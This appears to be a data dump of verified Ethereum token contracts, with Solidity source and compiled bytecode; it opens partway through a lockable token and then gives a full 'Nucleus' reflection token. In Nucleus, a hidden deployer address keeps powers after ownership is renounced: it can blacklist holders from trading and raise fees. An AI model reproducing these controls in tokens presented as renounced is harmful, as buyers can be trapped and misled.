/** @dev Transfer `_value` token to `_to` from `msg.sender`, on the condition
* that global token lock and individual address lock in the `msg.sender`
* accountare both released.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
* @return Whether the transfer was successful or not.
*/
function transfer(address _to, uint256 _value)
public
checkGlobalTokenTransferLock
checkAddressLock
returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/** @dev Send `_value` token to `_to` from `_from` on the condition
* that global token lock and individual address lock in the `from` account
* are both released.
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value)
public
checkGlobalTokenTransferLock
checkAddressLock
returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
} | 0x6060604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630425b5e9811461013757806305d2035b1461015857806306fdde031461017f578063095ea7b3146102095780631701c1fa1461022b57806318160ddd1461024a57806323b872dd1461026f578063313ce5671461029757806334a90d02146102aa57806340c10f19146102c957806342966c68146102eb57806354a598b014610301578063661884631461031457806370a082311461033657806374398d45146103555780637d64bcb41461036d5780638da5cb5b1461038057806395d89b41146103af578063a9059cbb146103c2578063b7eb5e0a146103e4578063d73dd62314610403578063dd62ed3e14610425578063f2fde38b1461044a575b600080fd5b341561014257600080fd5b610156600160a060020a0360043516610469565b005b341561016357600080fd5b61016b610504565b604051901515815260200160405180910390f35b341561018a57600080fd5b610192610525565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ce5780820151838201526020016101b6565b50505050905090810190601f1680156101fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021457600080fd5b61016b600160a060020a03600435166024356105c3565b341561023657600080fd5b61016b600160a060020a036004351661062f565b341561025557600080fd5b61025d610644565b60405190815260200160405180910390f35b341561027a57600080fd5b61016b600160a060020a036004358116906024351660443561064a565b34156102a257600080fd5b61025d6107ef565b34156102b557600080fd5b610156600160a060020a03600435166107f5565b34156102d457600080fd5b61016b600160a060020a0360043516602435610810565b34156102f657600080fd5b61015660043561091d565b341561030c57600080fd5b61016b610a04565b341561031f57600080fd5b61016b600160a060020a0360043516602435610a0d565b341561034157600080fd5b61025d600160a060020a0360043516610b07565b341561036057600080fd5b61016b6004351515610b22565b341561037857600080fd5b61016b610b5a565b341561038b57600080fd5b610393610c07565b604051600160a060020a03909116815260200160405180910390f35b34156103ba57600080fd5b610192610c16565b34156103cd57600080fd5b61016b600160a060020a0360043516602435610c81565b34156103ef57600080fd5b610156600160a060020a0360043516610db8565b341561040e57600080fd5b61016b600160a060020a0360043516602435610e35565b341561043057600080fd5b61025d600160a060020a0360043581169060243516610ed9565b341561045557600080fd5b610156600160a060020a0360043516610f04565b60035433600160a060020a0390811691161461048457600080fd5b600454600160a060020a038281169116141561049f57600080fd5b600160a060020a03811660009081526009602052604090819020805460ff191660011790557f44427e3003a08f22cf803894075ac0297524e09e521fc1c15bc91741ce3dc15990829051600160a060020a03909116815260200160405180910390a150565b60035474010000000000000000000000000000000000000000900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105bb5780601f10610590576101008083540402835291602001916105bb565b820191906000526020600020905b81548152906001019060200180831161059e57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60096020526000908152604090205460ff1681565b60015490565b60085460009060ff161561065d57600080fd5b600160a060020a03331660009081526009602052604090205460ff161561068357600080fd5b600160a060020a038316151561069857600080fd5b600160a060020a0384166000908152602081905260409020548211156106bd57600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156106f057600080fd5b600160a060020a038416600090815260208190526040902054610719908363ffffffff610f9f16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461074e908363ffffffff610fb116565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610794908363ffffffff610f9f16565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610fc88339815191529085905190815260200160405180910390a35060019392505050565b60075481565b60045433600160a060020a0390811691161461048457600080fd5b60035460009033600160a060020a0390811691161461082e57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561085657600080fd5b600154610869908363ffffffff610fb116565b600155600160a060020a038316600090815260208190526040902054610895908363ffffffff610fb116565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610fc88339815191528460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526020819052604081205482111561094257600080fd5b5033600160a060020a0381166000908152602081905260409020546109679083610f9f565b600160a060020a038216600090815260208190526040902055600154610993908363ffffffff610f9f16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610fc88339815191528460405190815260200160405180910390a35050565b60085460ff1681565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610a6a57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610aa1565b610a7a818463ffffffff610f9f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60045460009033600160a060020a03908116911614610b4057600080fd5b506008805460ff1916911515919091179081905560ff1690565b60035460009033600160a060020a03908116911614610b7857600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610ba057600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600454600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105bb5780601f10610590576101008083540402835291602001916105bb565b60085460009060ff1615610c9457600080fd5b600160a060020a03331660009081526009602052604090205460ff1615610cba57600080fd5b600160a060020a0383161515610ccf57600080fd5b600160a060020a033316600090815260208190526040902054821115610cf457600080fd5b600160a060020a033316600090815260208190526040902054610d1d908363ffffffff610f9f16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610d52908363ffffffff610fb116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610fc88339815191528460405190815260200160405180910390a350600192915050565b60045433600160a060020a03908116911614610dd357600080fd5b600160a060020a03811660009081526009602052604090819020805460ff191690557f7e6adfec7e3f286831a0200a754127c171a2da564078722cb97704741bbdb0ea90829051600160a060020a03909116815260200160405180910390a150565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610e6d908363ffffffff610fb116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610f1f57600080fd5b600160a060020a0381161515610f3457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610fab57fe5b50900390565b600082820183811015610fc057fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582068f406322427fd4412d60266346a9735613425ea44bb5a06acbe064e1ab636e20029 | {"success": true, "error": null, "results": {}} | 1,120 |
0xd56736e79093d31be093ba1b5a5fe32e054b9592 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Nucleus is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nucleus";
string private constant _symbol = "NUCLEUS";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) {
_Marketingfund = devFundAddr;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
// This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart.
// This reduces the impact of taxes on the chart.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(6).mul(4));
_devWalletAddress.transfer(amount.div(6).mul(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public {
require(_msgSender() == _Deployer);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public {
require(_msgSender() == _Deployer);
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external {
require(_msgSender() == _Deployer);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Deployer);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external {
require(_msgSender() == _Deployer);
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
} | 0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e996146103bd578063d00efb2f146103f6578063d543dbeb1461040c578063dd62ed3e1461042c578063e01af92c14610472578063e47d60601461049257600080fd5b806395d89b4114610303578063a9059cbb14610333578063b515566a14610353578063c0e6b46e14610373578063c3c8cd8014610393578063c9567bf9146103a857600080fd5b8063313ce56711610108578063313ce567146102555780635932ead1146102715780636fc3eaec1461029157806370a08231146102a6578063715018a6146102c65780638da5cb5b146102db57600080fd5b806306fdde031461015b578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f3578063273123b714610213578063286671621461023557600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506040805180820190915260078152664e75636c65757360c81b60208201525b6040516101949190611cc0565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b51565b6104cb565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b11565b6104e2565b34801561021f57600080fd5b5061023361022e366004611aa1565b61054b565b005b34801561024157600080fd5b50610233610250366004611c7b565b61058c565b34801561026157600080fd5b5060405160098152602001610194565b34801561027d57600080fd5b5061023361028c366004611c43565b610614565b34801561029d57600080fd5b5061023361065c565b3480156102b257600080fd5b506101e56102c1366004611aa1565b610689565b3480156102d257600080fd5b506102336106ab565b3480156102e757600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561030f57600080fd5b506040805180820190915260078152664e55434c45555360c81b6020820152610187565b34801561033f57600080fd5b506101bd61034e366004611b51565b61071f565b34801561035f57600080fd5b5061023361036e366004611b7c565b61072c565b34801561037f57600080fd5b5061023361038e366004611c7b565b6107c6565b34801561039f57600080fd5b5061023361085b565b3480156103b457600080fd5b50610233610891565b3480156103c957600080fd5b506101bd6103d8366004611aa1565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040257600080fd5b506101e560145481565b34801561041857600080fd5b50610233610427366004611c7b565b610c58565b34801561043857600080fd5b506101e5610447366004611ad9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047e57600080fd5b5061023361048d366004611c43565b610d1b565b34801561049e57600080fd5b506101bd6104ad366004611aa1565b6001600160a01b03166000908152600c602052604090205460ff1690565b60006104d8338484610d59565b5060015b92915050565b60006104ef848484610e7d565b610541843361053c85604051806060016040528060288152602001611e91602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112f4565b610d59565b5060019392505050565b600f546001600160a01b0316336001600160a01b03161461056b57600080fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b0316146105ac57600080fd5b600181101580156105be575060198111155b61060f5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d203235000000000060448201526064015b60405180910390fd5b600955565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161060690611d13565b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461067c57600080fd5b476106868161132e565b50565b6001600160a01b0381166000908152600260205260408120546104dc906113c3565b6000546001600160a01b031633146106d55760405162461bcd60e51b815260040161060690611d13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104d8338484610e7d565b600f546001600160a01b0316336001600160a01b03161461074c57600080fd5b60005b81518110156107c2576001600c600084848151811061077e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ba81611e26565b91505061074f565b5050565b600f546001600160a01b0316336001600160a01b0316146107e657600080fd5b600081116108365760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610606565b61085561271061084f683635c9adc5dea0000084611447565b906114c6565b600b5550565b600f546001600160a01b0316336001600160a01b03161461087b57600080fd5b600061088630610689565b905061068681611508565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161060690611d13565b601254600160a01b900460ff16156109155760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610606565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109523082683635c9adc5dea00000610d59565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098b57600080fd5b505afa15801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c39190611abd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0b57600080fd5b505afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190611abd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8b57600080fd5b505af1158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611abd565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610af381610689565b600080610b086000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b6b57600080fd5b505af1158015610b7f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ba49190611c93565b50506012805468015af1d78b58c400006013554360145563ffff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c2057600080fd5b505af1158015610c34573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c29190611c5f565b600f546001600160a01b0316336001600160a01b031614610c7857600080fd5b60008111610cc85760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610606565b610ce0606461084f683635c9adc5dea0000084611447565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600f546001600160a01b0316336001600160a01b031614610d3b57600080fd5b60128054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610dbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610606565b6001600160a01b038216610e1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610606565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ee15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610606565b6001600160a01b038216610f435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610606565b60008111610fa55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610606565b6000546001600160a01b03848116911614801590610fd157506000546001600160a01b03838116911614155b1561129757601254600160b81b900460ff16156110b8576001600160a01b038316301480159061100a57506001600160a01b0382163014155b801561102457506011546001600160a01b03848116911614155b801561103e57506011546001600160a01b03838116911614155b156110b8576011546001600160a01b0316336001600160a01b0316148061107857506012546001600160a01b0316336001600160a01b0316145b6110b85760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610606565b6001600160a01b03831630146110d7576013548111156110d757600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561111957506001600160a01b0382166000908152600c602052604090205460ff16155b80156111355750336000908152600c602052604090205460ff16155b61113e57600080fd5b6012546001600160a01b03848116911614801561116957506011546001600160a01b03838116911614155b801561118e57506001600160a01b03821660009081526005602052604090205460ff16155b80156111a35750601254600160b81b900460ff165b156111f1576001600160a01b0382166000908152600d602052604090205442116111cc57600080fd5b6111d742600f611db8565b6001600160a01b0383166000908152600d60205260409020555b60006111fc30610689565b9050600b54811061120c5750600b545b600a546012549082101590600160a81b900460ff161580156112375750601254600160b01b900460ff165b80156112405750805b801561125a57506012546001600160a01b03868116911614155b801561127457506011546001600160a01b03868116911614155b156112945761128282611508565b478015611292576112924761132e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112d957506001600160a01b03831660009081526005602052604090205460ff165b156112e2575060005b6112ee848484846116ad565b50505050565b600081848411156113185760405162461bcd60e51b81526004016106069190611cc0565b5060006113258486611e0f565b95945050505050565b600e546001600160a01b03166108fc611353600461134d8560066114c6565b90611447565b6040518115909202916000818181858888f1935050505015801561137b573d6000803e3d6000fd5b506010546001600160a01b03166108fc61139b600261134d8560066114c6565b6040518115909202916000818181858888f193505050501580156107c2573d6000803e3d6000fd5b600060065482111561142a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610606565b60006114346116d9565b90506114